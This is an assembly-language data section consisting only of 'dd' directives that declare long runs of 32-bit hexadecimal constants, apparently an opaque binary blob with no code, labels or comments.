dd 0E701AF8h, 3956B84Fh, 0BF374740h, 2B012255h, 836F9A03h
dd 0A6E474E6h, 0FDE91EF0h, 20CEC87h, 79B2A144h, 0B5EEAA60h
dd 0E041C55Bh, 4A367363h, 72C430h, 81678960h, 0FBAE5980h
dd 0EF8FC202h, 50D0033Ah, 7C0C02CCh, 6E076BB9h, 0CD090CC0h
dd 7F70F703h, 0E892CAD7h, 579E4C0h, 5C476CF6h, 0CB6C8040h
dd 4309FB91h, 6833D10Ah, 13F43450h, 487A5D04h, 2F4051A4h
dd 58F95325h, 0F000281Fh, 0B60DC0F1h, 0BF0048A8h, 2AE8F514h
dd 80693B6Ch, 0FD07FF56h, 0D454DF3Dh, 3ABD210h, 9EBB1519h
dd 0C725DCC4h, 803FD454h, 7625E2DAh, 1CE35F41h, 0C9534437h
dd 0BC809490h, 395B0BCDh, 0B9CA27h, 7C6BFB88h, 12050ED4h
dd 3BD61CCh, 89E053F0h, 0B073819Ch, 93A4209Fh, 0FE037307h
dd 0A07FC7B2h, 0A0C15C81h, 0CC3B0AB0h, 0ABDA18h, 88A2900Ah
dd 0E0C0ACF3h, 0A64D3EEDh, 0AA441F91h, 256CC939h, 0D598D021h
dd 0D0580367h, 13806B2Fh, 0F30345Fh, 63E0E5F5h, 2D0A2820h
dd 0E88C3501h, 7585AE2Ch, 0C08B2894h, 0B4C09A80h, 230FCCF9h
dd 61AE437Ch, 0A1633A12h, 795D9050h, 0A6610178h, 0EB94BDB4h
dd 2BDBC4FEh, 143E3F0Fh, 6079E06Bh, 9E329D82h, 0DFAC18h
dd 27CFBAC6h, 0E00FEFAh, 95473A67h, 58423F8Dh, 980022F2h
dd 0B9E37FDBh, 14984541h, 1E0177FCh, 886FBD14h, 6BEC99B2h
dd 0A4715042h, 0B889448h, 5C0285A8h, 2420C2D4h, 774B512Fh
dd 21FF028Dh, 33425EF0h, 34B03863h, 0C5009607h, 6C5F937Ch
dd 74E25C75h, 16EFAB8h, 0AF92E615h, 60C3CD17h, 9107F918h
dd 40B2FDA8h, 0BDAB64C0h, 53420115h, 0DF4A4813h, 8797CCBAh
dd 4B84D00h, 0FCA3C2CEh, 0B144009Fh, 273AF5F8h, 19004140h
dd 8887C66Eh, 0D0816Ah, 7225351Ch, 7E3E8EECh, 6B805800h
dd 300FEDFCh, 367E601h, 0D438A378h, 0EB0E1E0h, 5F162928h
dd 8C43B4B1h, 0A8D5859Ah, 0DDAAA3h, 0DFA7A68Dh, 0E79F5E8Ah
dd 95CC8200h, 8FCE787Ah, 38724880h, 77648601h, 0D4599976h
dd 5138A26Dh, 119F8068h, 563832EFh, 60AD6074h, 0D9302CC0h
dd 6FC63301h, 0B3CE155Fh, 0A43001D9h, 0CDFD1D5Dh, 2AD302BDh
dd 5CC8D94Dh, 20A0CA55h, 0F80EDF30h, 807732DCh, 0F4B3FEF0h
dd 93A40046h, 7D6F4131h, 0A8018526h, 32DABD11h, 96F02D4Ch
dd 12A9808Fh, 2B14F91Eh, 7CF814h, 32BCFFE7h, 0E8931D39h
dd 6FDD01BBh, 8F6E3F2Fh, 0CB98825Fh, 83AE615Dh, 0D88E24h
dd 0CDB55BA1h, 4FB8BDB7h, 89D4A300h, 0B16C80D1h, 8CE70069h
dd 0DC648310h, 941E6EBFh, 1C839DB5h, 0D8364126h, 0F7D7820h
dd 12C8278Bh, 65A0EFAFh, 0B7D8F89Ch, 0F101F9D2h, 0EB6CCEB0h
dd 0A16FF8h, 0B22647EEh, 6D7B353Ah, 4CA4330Eh, 0E1306701h
dd 0CDBDCB43h, 44E87000h, 2B7490h, 0E36B2C7Ah, 8D9629DAh
dd 3575D777h, 41306802h, 407D6Ah, 91C85FBBh, 0C3F18D60h
dd 0D0AC23h, 4F1761Ah, 0A01735B6h, 5C1EDEB8h, 0C9837F34h
dd 907E312Ah, 55E249h, 52F4B4CEh, 0D611B90Eh, 3ED098A8h
dd 0E02A940Fh, 0E13366CBh, 92340019h, 0A47E8173h, 0D038E68h
dd 0BC77C34Fh, 0E5C900ADh, 0B4C1DD39h, 0C6F0242Fh, 0CCF2C800h
dd 1E4A2B53h, 0C3030031h, 0BCD9A55Dh, 9101402Fh, 0ABCB580Eh
dd 698AE532h, 0C2F0F7h, 0E7C19954h, 8678C681h, 21BEA300h
dd 9EA2360h, 413A3FCAh, 0E600A34Ch, 0A30E512Ah, 357C7F94h
dd 698EA80Eh, 598B82C0h, 0AB04E818h, 98915438h, 2CE337BBh
dd 4A348019h, 0DF60D936h, 3D2ADE11h, 463B0055h, 5FA2D72Dh
dd 0F7EE9A0Bh, 9F160909h, 0F9280C18h, 443D3A86h, 0E4661C80h
dd 0D892DCC9h, 1D80D360h, 43D0E8h, 572AB49Ch, 5CDCB72Bh
dd 410D0300h, 9BCF9176h, 0F7FF0FDAh, 8FE18BEDh, 0FC732613h
dd 9800E794h, 8A759940h, 0C27FD6B9h, 1BDFD228h, 1042C0F5h
dd 14B86Bh, 8CCA5A36h, 0C9F87473h, 15F57F07h, 6080FFDBh
dd 3FE3BC56h, 0D9D0EF9Ah, 0EC8A3C5Eh, 319C2D0Fh, 0F7FEC7C2h
dd 24738860h, 79E54B16h, 9DA69C00h, 0A9F61h, 0BFBC1AA0h
dd 2DC777A7h, 0ECAC3700h, 0F1AEC4C9h, 59FD0149h, 0BA310F95h
dd 4609F421h, 7136D01Eh, 0DD8CE340h, 74D5C476h, 0D6C330FEh
dd 82CA15C8h, 77A99B60h, 774339B5h, 0EA950001h, 0AE9E362h
dd 0B4E8CB83h, 119D7A01h, 1E0F1575h, 63FCF430h, 0E812082Dh
dd 1BBB2000h, 84939A75h, 0EB86Fh, 0EB50296h, 2564A459h
dd 0CFDE200h, 42E13B93h, 18837F91h, 40ED6FADh, 200C97Dh
dd 1965551Fh, 3A68CBD8h, 0D018BF11h, 52A20B5h, 1CF61E00h
dd 0A48C26B9h, 0DFF80191h, 75634CE3h, 1828BC0Ch, 0E930C704h
dd 0D6D20718h, 70433A2Bh, 0EB9D4466h, 21D1BF03h, 66C7354Bh
dd 907DE188h, 0FC01B346h, 964DF1Eh, 0D3DE0CBEh, 1D7A0721h
dd 0B7E9C167h, 8673F888h, 47E22F03h, 79443F51h, 605F1898h
dd 641218D6h, 0B6024D18h, 7BB2D4A1h, 0B8471C3Ch, 92F59EBh
dd 0F42180BCh, 7823CCAh, 779E0F6Ah, 0F5805215h, 0F67C260Fh
dd 12C55B00h, 3C05D1C0h, 69C10007h, 6CE86633h, 5800754Eh
dd 0E91C72D2h, 2C960B0h, 98AD2991h, 45406252h, 7A0F0B83h
dd 1FA7E7h, 68063D8Fh, 0C9D30036h, 0B78D57D7h, 0BB006B28h
dd 971EBF7Dh, 0A08F450Dh, 5A7CB3h, 2CB290Eh, 0BE4C4FEFh
dd 8A786605h, 46B72A5h, 0DA206C2Bh, 18FC041Dh, 10D9445Ah
dd 0FB003909h, 0AD1246F5h, 67A1885Bh, 0C692299Ch, 182C3961h
dd 7A00E66Ah, 787C7F40h, 79C0E6Fh, 1A801E25h, 85298C80h
dd 2047C801h, 9AFA2FB2h, 18134880h, 9CB4EC09h, 2C451112h
dd 0F3808001h, 0CE44857h, 868A3060h, 50FC7220h, 313CD714h
dd 0DC07E320h, 0A546F960h, 5944BC01h, 0A61EA0C2h, 0ABA3880h
dd 648CAAACh, 0A274F000h, 6AFECA92h, 38FA00D4h, 884ACF3Ah
dd 0F1C0A415h, 0B6E365ADh, 4ED7016Eh, 0C8BA620h, 6A9C5073h
dd 0A0A882BDh, 51005B6Bh
dd 1B7FB353h, 1A23D2Eh, 0DEE34C96h, 308B2CAFh, 9018CD13h
dd 6B418DE1h, 0F3091D10h, 0A97CC66Eh, 0C100A929h, 30968C8Ah
dd 1D36B03Dh, 0C62167h, 47FC0995h, 86611F28h, 9F885279h
dd 403B5840h, 4650015Eh, 2AB90D11h, 0BCC970ABh, 0F1549050h
dd 0FAA47300h, 0F4758FB8h, 0DF69010Ah, 0A3145D94h, 9394414Dh
dd 0A884B1FBh, 998021A9h, 1F7C4FA0h, 0C80AADA4h, 0F49D020Ch
dd 0F9458A00h, 0A14AF25h, 1C2818FAh, 7D5458Ch, 0C143AC24h
dd 0D8C33588h, 0CD015C52h, 0A4B35AF8h, 0A3F4177Ch, 38736895h
dd 1C508158h, 0C8121065h, 0B00232Ch, 794B9CD1h, 1E69F284h
dd 40B273CEh, 519F17F6h, 435431F3h, 2F720F80h, 0A3E58000h
dd 1E7B17C2h, 0F16E01AFh, 0A8884E5Eh, 3A6C2299h, 906444FBh
dd 40F94530h, 9A879E26h, 62846052h, 91F38BF0h, 9022F2D8h
dd 3F86163Ah, 706D2830h, 206C89A1h, 0D0000A0Eh, 0C57C7E1Ah
dd 553EE4h, 6A13672Ah, 8B07AF5Fh, 88BD60C6h, 8E7A0089h
dd 0F92781C9h, 0DB3017A6h, 68B90BAh, 2979C320h, 31146D1Ch
dd 11DC5EF9h, 87157FF3h, 4D0358A0h, 892B9E0Ah, 79976910h
dd 0C1205400h, 0E0357523h, 51B31800h, 0EA2A374Ch, 93740A96h
dd 0E5F8DA39h, 118013D7h, 0B90080D9h, 4044A298h, 5377856Fh
dd 214D3903h, 0E5E33ED3h, 5649C01Eh, 0A6148802h, 88F49214h
dd 61BF8075h, 0D249F265h, 27231C01h, 1FC19EEEh, 8EB030F3h
dd 0D2B1D29h, 0FB1C8200h, 9CEFAD4Dh, 207E28h, 48A1D40Fh
dd 0D6787734h, 984DB54h, 33E22100h, 0E1826AF1h, 0E6CC0028h
dd 819A2399h, 0CF006DB1h, 0BA778D83h, 938ED42h, 0FBF473F2h
dd 18D71801h, 850DC812h, 8B9BC21Fh, 0F6C1C069h, 0A3FE9E45h
dd 0E8DACAB0h, 3FA919E4h, 0BB2EAC96h, 549A01B1h, 0CB30862Dh
dd 7EB294F0h, 2801740Eh, 7C49C031h, 73D7B391h, 727100B9h
dd 584146B4h, 18C3F436h, 0CB9930h, 0D7F6F58h, 1AF97E7Dh
dd 328F0100h, 906724CDh, 1FF503AAh, 0A9107C9Bh, 2E233000h
dd 15590A47h, 0EC580553h, 40D6A1BCh, 0DE509428h, 69001724h
dd 1B816F80h, 0A63CE9h, 0D32EDF73h, 1106C5Fh, 313017EAh
dd 90D63997h, 87200A7h, 0FDD1214Ch, 0D0001865h, 0BA89D355h
dd 607C981Fh, 69918907h, 0AE506716h, 540109B3h, 0C6565A10h
dd 0DBC84BFBh, 296B01F0h, 0E8902023h, 87D3C0FEh, 0D1128500h
dd 0CC97F1C8h, 0BDCA157Eh, 341DB0C7h, 164F80DFh, 5B6259E8h
dd 8067CB3Ah, 0FE8B5AD5h, 18102CD7h, 30E2D8BEh, 4479DB69h
dd 1F2B3501h, 0E38780Ch, 6E2D881h, 81E32312h, 0D7036B28h
dd 0ACD4155Fh, 4811D24h, 39D1DB0h, 0D42311D0h, 0EB189026h
dd 18888A15h, 6669D2BEh, 987D00B7h, 43EE134Ah, 97055574h
dd 0B7CCD89h, 0B5268840h, 0A0E324h, 0DFC78AE1h, 0D5B92C80h
dd 6BA86400h, 7D1D0AC1h, 240100DDh, 4749113Ah, 0B2A079Ah
dd 0B72B80CCh, 0FC069005h, 601A70h, 1034F0E3h, 84BDE880h
dd 0B10AC300h, 7B7F142Bh, 0C49800C8h, 0B734CAFEh, 5B30DB3Ch
dd 90B69918h, 60E16F47h, 46B90400h, 25FB585Dh, 9750471Ch
dd 0C30C98Bh, 4101210Eh, 0C96D339Fh, 418FCEF3h, 5A27848Fh
dd 0A1F917E1h, 0ECEE2618h, 6205179Bh, 97F26CA9h, 3399B800h
dd 7D6F02Ch, 614A7A7Fh, 0A752F20Fh, 2110844Eh, 60605A90h
dd 0C3D91789h, 0C1057C30h, 0E28011h, 0E3713328h, 12B154CAh
dd 1E34130Eh, 6FC5E060h, 5293CDD3h, 0DB22DC83h, 3B15304h
dd 0DBC097AFh, 4E6EDCh, 0D977211Fh, 7C5FC79Bh, 38A65A31h
dd 0C4490C06h, 288D99D0h, 50D4D98Eh, 8810A857h, 510062B9h
dd 298FE0F5h, 98AB203h, 21D61BFFh, 98D8FC02h, 600A1500h
dd 0A863519Eh, 11882C42h, 0A6980C4h, 3CFE98B3h, 75E2A3h
dd 0F6B42D70h, 0F1AB5C31h, 16E61F00h, 8FCE6AD9h, 2941C18Ch
dd 41B8EFD0h, 1C33080h, 0B7DC0702h, 0BCDF0004h, 461D5A78h
dd 64A49555h, 93036C00h, 6E704B2Fh, 30FD4846h, 7B04809Dh
dd 51F4D334h, 0A575B300h, 0C6BAFE5Ch, 3B3E03F6h, 0FB5485DCh
dd 34085FF8h, 919F3237h, 0A3A66BA0h, 0EFC10087h, 7CFE355Eh
dd 0DA49E5DDh, 73F41874h, 93DE69h, 9133B564h, 5DF0A32Bh
dd 0B6F7CA00h, 619C58DFh, 0E2291E38h, 0C5BE4A85h, 8000BE94h
dd 7AC8756Bh, 0D20322E6h, 0BC368493h, 0E77CE809h, 2C27EB7Bh
dd 0C71F0608h, 0E5BDA85h, 211BE05Fh, 9881E4B9h, 18310A08h
dd 1B4D2988h, 0E81194A9h, 29305066h, 0D1A5FC30h, 71E4F7D5h
dd 2EF800BFh, 35CE8FBh, 7606D292h, 0A7AD0ACh, 29E651h
dd 2E5E0C80h, 0B491BF49h, 6B94A702h, 6C96E0B1h, 7B053B44h
dd 304139E0h, 0F00D85Dh, 0C04E2354h, 49FE40h, 646B1A5Bh
dd 2840B29h, 6C591001h, 0CB46B704h, 20244063h, 3187C144h
dd 0BE6A1085h, 1CC674F0h, 401749A8h, 55C36214h, 500D558h
dd 51A339CDh, 97F9B20h, 0B72B1291h, 54DAF002h, 154D3064h
dd 3245831Ch, 0A8610092h, 5A37769Fh, 0F0044274h, 84CECF07h
dd 0A13AD48Bh, 3D4201Eh, 0D9E1C94Bh, 3D9F9D88h, 0F6B664Ch
dd 89DD7E6Bh, 72282011h, 0F857DA7Ch, 9E3131B3h, 0C622A051h
dd 0E4F8D60h, 64373209h, 0D6A8B804h, 624C8019h, 4BA09212h
dd 59C1B005h, 8880B824h, 18A79783h, 0F8046E57h, 41C8D7BBh
dd 1AEF80CCh, 0E48AFBA1h, 814DED00h, 0E9482E45h, 99EA1C38h
dd 0C0931458h, 71C4B12h, 42F5FED8h, 88CC1F5Bh, 37930200h
dd 31A8F983h, 1858A656h, 99145ADAh, 0D9481006h, 18638454h
dd 0D0204Ah, 8BFD803h, 29090EF9h, 82BB3DD5h, 0A1658410h
dd 2F1307FCh, 0AE8E6022h, 9EC3DCE2h, 0DAB3160h, 22E7410Fh
dd 0D375C2C4h, 18206694h, 3969FD43h, 7500D4C7h, 356D40C4h
dd 933CFAh, 1B53005h, 2836A111h, 0FB5B6B01h, 662AAA60h
dd 0DFDE24FCh, 92F54081h, 51324BD6h, 0E97690Ah, 840C8CB9h
dd 0B17BB006h, 0DEE20300h, 6CE8F397h, 0B3C60D7h, 0DA3C8EF2h
dd 0A269E209h, 97900204h, 3D2C711h, 7F98860Dh, 650FE7BFh
dd 20FBE9A7h, 6F5D778h, 0F9CE0260h, 45D09E0h, 5CCF3CC0h
dd 0EC68B19h, 0E4582EF0h, 52902C4Eh, 0D076254h, 61CE68A7h
dd 0E3344BD2h, 0B8B0F8DBh, 73054E41h, 83C32636h, 4CDA9098h
dd 1FC4484Ch, 50C840CCh, 0C20DC08Ch, 0A65C9080h, 3204B8A2h
dd 7B0E4CE4h, 216F1FBBh, 751DE0B3h, 586798F0h, 5C48BC65h
dd 1F342478h, 20F01200h, 2CD19934h, 4321EF02h, 661A61DBh
dd 89149B74h, 1010FD58h, 0AF00399Bh, 8687EBCDh, 0FC743Eh
dd 0BF41C58Eh, 3BFA1F4Fh, 58DB6204h, 0A4CC2906h, 9330A463h
dd 92CD6148h, 5D90108Dh, 0CFB0A8D5h, 0B41DF98h, 6C83B231h
dd 61002EBEh, 0F286010Bh, 0A1C67Fh, 127B2FE3h, 49AC16B3h
dd 0C738DB00h, 7C6ACC60h, 0C49C009h, 7BF6A391h, 0DE0017B0h
dd 1368B888h, 28E50D64h, 0A1849BCAh, 2CC4D600h, 9A2E0410h
dd 0CDC1458h, 91C49A1h, 7BA4780Ch, 9E153448h, 0DAF06B62h
dd 2CC4658h, 57378449h, 34534EDEh, 8FCD0702h, 90862983h
dd 0FD00F9D8h, 0BDBF74F1h, 129B3613h, 4E16D1C0h, 8883CD30h
dd 28C8BEB2h, 0E8B048C2h, 34005890h, 54957B65h, 136EAA49h
dd 62B8C92Eh, 2C6E7E34h, 52076022h, 4158C030h, 61A60070h
dd 0B75D383Eh, 7B4D3912h, 0A4311830h, 5ED229h, 22144BE9h
dd 0A39CBBE3h, 0D9938B0Ah, 5A08A06Bh, 349009D8h, 0C7D6010h
dd 0FDF471C0h, 0E0B9181h
dd 0ED609D18h, 7CDAC03Ch, 0F8E71C35h, 8FBCF749h, 8D736145h
dd 0A861A538h, 0EFC05C07h, 5514Ch, 1E6ACF96h, 0C899BAC2h
dd 7E7A0212h, 49A4B498h, 7B863CB9h, 93004906h, 0EB0DACBFh
dd 0B8B2162h, 4C5172B5h, 0D0C20C06h, 21D6E622h, 13117340h
dd 0C7899700h, 2A331536h, 0F22444F6h, 4DC1A831h, 0C2356DBh
dd 600B4101h, 48CD6897h, 484E3154h, 20981032h, 0F6C28A2Ah
dd 6516A7EEh, 85ECD915h, 13F82B2Ch, 0C30C2031h, 8F001A4Ah
dd 44F2381Ch, 2EF9D6D5h, 10644D45h, 0DD0A84CCh, 7908E27h
dd 73EFD27Eh, 0F76FB9C3h, 0FD3B8020h, 8221C0CDh, 55B1746h
dd 0B947CC1Dh, 9B506824h, 0D4988A8Eh, 663F6CBCh, 20A09F6Ah
dd 0E30C8FF8h, 9168E09Eh, 48F111h, 0EFC45C61h, 513B6901h
dd 0C544D0B8h, 8C3C96FCh, 89C2F910h, 71121C00h, 7A671E56h
dd 22AC9B80h, 0F4CE0E68h, 1DEA98CCh, 4014E4FCh, 0BA6E45B9h
dd 0AE79048Eh, 0C528F107h, 5E608C34h, 128BF20Ah, 24E2A003h
dd 1A721029h, 374B80h, 0BB09CA62h, 0EF234F7Fh, 99BD4609h
dd 820B85D5h, 8B199860h, 0D98503B2h, 588FE49Ch, 8DCBF114h
dd 8749368h, 1E3D6D80h, 81356990h, 22DE9401h, 33A4386Ch
dd 0C0F619D8h, 5CE45CC0h, 87096070h, 0FC01E79Fh, 2A8FE4Fh
dd 0EC94C6B9h, 7F861F12h, 0BAB1807Ah, 0C0E089F8h, 92F4F505h
dd 108A6C28h, 4A00B442h, 90E32D3h, 415490BAh, 280E4964h
dd 0A043BEE3h, 0BD0A0974h, 847F594Bh, 0B9414EC8h, 7430D068h
dd 7C4DFF1Ah, 0A999E1E3h, 80803022h, 0A583F345h, 5E8B7500h
dd 0CA1389Bh, 7678614Ch, 0E4242E4Eh, 0B0254854h, 0C8808046h
dd 0BAB9046Ah, 0F0FC98F0h, 0C0C9385Ah, 10F6C1E7h, 123857D4h
dd 5088AC00h, 652BE842h, 46BA12B6h, 0EF0C816Dh, 0B6AC44A1h
dd 0F8582418h, 3017B421h, 54054C20h, 0B2D30009h, 0C927E3EFh
dd 74B2028h, 0E617D3A0h, 0E5FB0798h, 0C76E5A0Ah, 0FCE91C24h
dd 1F00BCB9h, 1361392Fh, 21FE0355h, 898CB505h, 0F4AE2280h
dd 4764E809h, 0DA8C38BEh, 12589955h, 3C702030h, 0AE25B2CEh
dd 129CB042h, 79D3D3h, 14C39938h, 0DF24FAF0h, 21043454h
dd 98A557C2h, 60628031h, 448C6B2Ah, 9899FCE3h, 0C7C9A800h
dd 0F8FBF2h, 78DA4CA6h, 0BB54318h, 49F1B409h, 246699h
dd 86411D15h, 0C3C58236h, 2E02949Bh, 840962C2h, 17408B68h
dd 0C3E1F5EDh, 9D65A300h, 3B82622Fh, 2826ED68h, 0E1DABE18h
dd 0B00C2EAh, 404A011Dh, 0D2FF95Ch, 3DA228B1h, 48A83826h
dd 0A0414EFCh, 598FDC49h, 4C01D862h, 0D9777B2Eh, 81EC38B8h
dd 904A8D01h, 23F8E02Eh, 66CFC300h, 6CB93381h, 0A1A17D71h
dd 7208D794h, 67F88h, 8163BC28h, 0B55ABE54h, 0F16F4100h
dd 34465693h, 892499CDh, 34107B12h, 5B00577Dh, 0BC29645Eh
dd 0E2D7566h, 0DFBE4D77h, 872EB3E0h, 0B2097904h, 82A30C95h
dd 2FD65A3Ch, 9E26B0A0h, 455DDC69h, 270684D8h, 48CE088Ch
dd 0D892C493h, 14BA15B8h, 93CD9A04h, 40B0B98Bh, 0BC704C36h
dd 69001022h, 0BF763EA0h, 30403511h, 1940876Bh, 4E635890h
dd 10F7D91h, 84C1C731h, 0D20A6B07h, 0DB114465h, 15539F00h
dd 6E03751Ah, 0DA4FE00h, 0ACB07341h, 0D7F330C9h, 8FE20829h
dd 0E8BA6F0Bh, 0C1909A1Fh, 30099FC8h, 0CC0F99ACh, 0A943B95Ah
dd 7A48B854h, 9A12754Ch, 0E008A1BCh, 3C92CF11h, 0DDB2A0F4h
dd 4DD6004Bh, 5EA70B1Eh, 0D013F41h, 2281AA0Eh, 8200672h
dd 4CDA88FFh, 3160D891h, 254DFD65h, 4C989A66h, 0D0A8DDBEh
dd 210064B9h, 510E8DD4h, 0CE386Ch, 52A54131h, 636B0B70h
dd 790270B0h, 55673A64h, 44A0CE04h, 7402B9D4h, 0EFC13AD2h
dd 63F4B26Fh, 0A84EDC1Ch, 630FBD00h, 722ECD40h, 1100D347h
dd 28CA367Bh, 0B91524D8h, 0A07890Ch, 4D7460C4h, 4964788Ah
dd 0CD09147Ch, 864A18Eh, 30695CB4h, 0EB072110h, 0DD9032h
dd 14378AB7h, 7A4C21E9h, 0CAB4004Dh, 0B3480D58h, 8FC70033h
dd 5EEEFCB7h, 224EA34Ah, 88B2C865h, 0BD493E00h, 9D3FB205h
dd 0A2604A01h, 53EA3566h, 7BCCF9DBh, 46D85860h, 22844C6Bh
dd 8FCF19D6h, 2C2E51A6h, 0C0A07464h, 524DBA36h, 59E72298h
dd 4D8B24C3h, 0AD328C80h, 7258A79h, 4FB09021h, 5C128E1Bh
dd 0C41DB47Bh, 999D4780h, 245FA3C6h, 0E9608E96h, 411EA841h
dd 23364BCh, 64F27Bh, 0E2AEF6AFh, 0CAE12A1Ah, 5AB07F09h
dd 0DD308031h, 4F935BE5h, 550C302Dh, 37F6886Ch, 3C02FBE8h
dd 64A660Ah, 4F34510Dh, 83FB8560h, 0B301B9DCh, 90BBF28Ah
dd 5B11E15Ch, 264037C0h, 3960D8B9h, 4A1BEFh, 0F39FC2AEh
dd 0A5C9F6E4h, 0D68CFD01h, 1D5A790Bh, 0B9004C37h, 0D82B8290h
dd 0A700CC8Dh, 7FB8460Ah, 4C8F48CAh, 9A0B7C72h, 0F840861Fh
dd 3081BD28h, 0A20F2C69h, 62E0A516h, 546B3CDCh, 5A17C093h
dd 43DBC808h, 3902A786h, 15FB5549h, 9F740ABh, 88D45213h
dd 0C105ED87h, 7816498Bh, 0B0B3C0A0h, 2E41FA60h, 42ECC145h
dd 0E1DFC6DCh, 682D8068h, 1664AE9Eh, 0F8CC36C1h, 69E35231h
dd 0F8411D05h, 0C123688h, 0A6EBBD21h, 0F4C103C1h, 7AB1FECCh
dd 8B500258h, 100F7892h, 4A90C859h, 0FE56391Eh, 5134882Eh
dd 901C1218h, 304B0250h, 49C9DCC1h, 0B40041B3h, 89DB26E6h
dd 1343F4DEh, 44059928h, 0A998CE18h, 0C0704868h, 0BFD0A4Bh
dd 5510312h, 9C184A69h, 118CD821h, 8077B0Fh, 0B859D0EDh
dd 5E26047h, 89584233h, 8CCB85A0h, 148160B2h, 0F8254121h
dd 0F44B2F80h, 0B7628040h, 1371F5E6h, 9886ADB0h, 3D0BDB30h
dd 904B8FCEh, 75414A0Ch, 0B9B10182h, 0E83F9049h, 972462B7h
dd 9D7D48Ch, 5AC3AEB8h, 0F871E0E2h, 0AFD1B701h, 0B1D47738h
dd 7D55EEA6h, 53120437h, 0B0BA3C58h, 8B85264Ch, 6180D16Ch
dd 0D04A867Ah, 76BB6600h, 0AF200445h, 0BA7E1E3Ch, 0A19440B3h
dd 649AD126h, 0B0513E27h, 607B1958h, 8569A90Dh, 0CD1E2F0Eh
dd 0EE44EA40h, 8088F41Ch, 55CC0026h, 792A1B3Eh, 0DF598DEAh
dd 1C2491B4h, 59047788h, 149809C2h, 0C4B131h, 227F26E1h
dd 800652Eh, 0F7E69911h, 946BCF92h, 58540544h, 278022ACh
dd 0F2813865h, 0A6B2D3F0h, 9C626859h, 61F9F0Eh, 3AE6C320h
dd 0E11FEAF4h, 78168C72h, 87B51500h, 1FB1579Bh, 6580BFA9h
dd 341DF065h, 0DB440480h, 0E845BE85h, 61FC694Ch, 0ED00CC51h
dd 0D01AD8A9h, 0EF313AF1h, 0DBB07B80h, 0AA2C600Ch, 0F1CE549Ch
dd 122D8900h, 0AFD8C340h, 36862B00h, 44914635h, 311B285Dh
dd 0C90E0030h, 679AD245h, 0B41C0622h, 8282A874h, 40A729D7h
dd 0C3087CACh, 6D43DF59h, 0F597D087h, 0ED001AD1h, 89907BE1h
dd 0A4B0585Ch, 0DE0C22ACh, 70496B00h, 0B008A8C4h, 2696766Eh
dd 0C01031B9h, 0F9731D4Fh, 0C823467Eh, 9A2BF83h, 284F305Ah
dd 7040DEAEh, 0E16695Dh, 9EF92DC7h, 646B5818h, 15A1BF00h
dd 7A484EBDh, 5B28025Ah, 441CA4D9h, 5CBA64E0h, 0B97E2D19h
dd 5100DE9h, 0F9B0E983h, 0F0601D09h, 2148534h, 120068A2h
dd 5A254B4Dh, 8E1C2F7Bh, 90AFCEEEh, 5BE694h, 0BB8C7F74h
dd 6BEBC2E3h, 0C676011Eh, 2633A380h, 0B094E178h, 0AAE344FCh
dd 148958BBh, 47546831h, 86EB1E97h, 8778405Ch, 95F524C1h
dd 0FB7D7C01h, 0E781592Eh, 42008423h, 3629276Ah, 88092FA4h
dd 907C76DEh, 7EE71674h, 0DC261F66h, 624C26FAh, 0D4E8C6BEh
dd 582E2B16h, 0FD00FD9Ah
dd 54F6B67Ch, 34405A90h, 2F380038h, 0B8156870h, 98F2A404h
dd 74A04FD6h, 22CF435Fh, 0F87C8493h, 490CA19Bh, 1D1FD440h
dd 4EECC56Ch, 12A4A5D1h, 34199124h, 30B99608h, 0CE6C5382h
dd 4E805692h, 48BA4B1Eh, 41B9A080h, 7D1446F7h, 2CFD76h
dd 0C9B26ED4h, 70CE839h, 0FB97086Bh, 0D8AF558Dh, 9B22CDF8h
dd 6491695h, 2AC72AAh, 0E1469061h, 86544031h, 98F6DEC0h
dd 5803DD2Ch, 7C418E45h, 1AE93447h, 58103A12h, 990488DBh
dd 338A280Bh, 0C5C0CEDEh, 40127BF0h, 0A07C3EF0h, 4F001E79h
dd 9BEB5587h, 2B2046Ah, 370AFD2Ah, 94D24790h, 70407D5Ah
dd 0E1B79180h, 344C0048h, 0DAAB9E9Dh, 21C2134Dh, 8F0C5CB9h
dd 605B1180h, 0CA1FB9D4h, 48CE044Bh, 77C8FA41h, 21270049h
dd 8858BE5Fh, 7B007F0Ch, 405C147h, 624EDB80h, 7C306101h
dd 71C1478h, 0B080D746h, 6FAD69Ch, 91410089h, 755173C9h
dd 400A2390h, 38F3D919h, 0BEA1F400h, 582E8F4Dh, 990E29EBh
dd 0C0C3EFD3h, 44D96E08h, 0B8E0704Ah, 74B9BA40h, 80049976h
dd 0BBFBA73Eh, 5F4E463Ch, 51CF3C3Ch, 59F05499h, 44ACA4D0h
dd 0F4008212h, 0FAEE06D1h, 9321C924h, 7B10FF4h, 0EFE8C877h
dd 70C9B709h, 54598Dh, 68C0FCB6h, 1605901Eh, 7C6AC8EEh
dd 2475DCC8h, 2F7F28Ch, 893B5ECh, 0E14FE446h, 401ED181h
dd 9BCDEECh, 54E3A683h, 24B690ECh, 5F90C4h, 1C7327E7h
dd 0DEEE5B7Bh, 0B50EF3Fh, 40EBCCF6h, 592F584h, 0C8591C37h
dd 1A88F053h, 887DD745h, 3E17F094h, 0F628C5A8h, 8EFB0028h
dd 796A53Bh, 0ACD4960Ch, 0DC0A13BCh, 6100E8DCh, 0C54C3790h
dd 489B135h, 94D3B343h, 0C198E839h, 45DC222h, 2906418Bh
dd 5007896h, 0B3A5B273h, 831D4Dh, 90F99796h, 6CF5270Dh
dd 0D668A349h, 917AF020h, 6DD5057Eh, 0B08462CEh, 0F2882EA8h
dd 12CF3FF5h, 33686900h, 0F1AF84DAh, 4A4B4300h, 92041906h
dd 429CB09Dh, 0D9447518h, 954E7CDAh, 0CD42019h, 7C504D12h
dd 5800604Bh, 0C09EFCDh, 575559Bh, 2804DA2Ch, 2149175Bh
dd 9F8468B8h, 0DEDFBE88h, 6A320131h, 284ED178h, 7C63C240h
dd 0BFB2008h, 2D03F3B5h, 5227B294h, 1AA3E0D4h, 4640630h
dd 51E01807h, 0C25A6B09h, 0D920E048h, 0CC5652C1h, 0E0263027h
dd 1E07D6E8h, 5FC3ED8Dh, 0C9D86052h, 0C87687C0h, 0B002007Dh
dd 98F58224h, 0C02703C4h, 409062B9h, 2CDCCAF0h, 10417A3h
dd 3FC1D5DEh, 0C25469D3h, 3E4C21Fh, 0F900DBFCh, 0CF3334FDh
dd 134C3149h, 621B8EB4h, 7C497EF0h, 34C227Ch, 0A28EDFB9h
dd 675CA0CDh, 213F0044h, 0F228A3DEh, 0D64A9399h, 0D09E7481h
dd 3ADB4901h, 1C921C20h, 168713C2h, 9E149946h, 228989D0h
dd 0C2E08E71h, 0F116C4A2h, 0FB90068h, 0EE376794h, 572BC300h
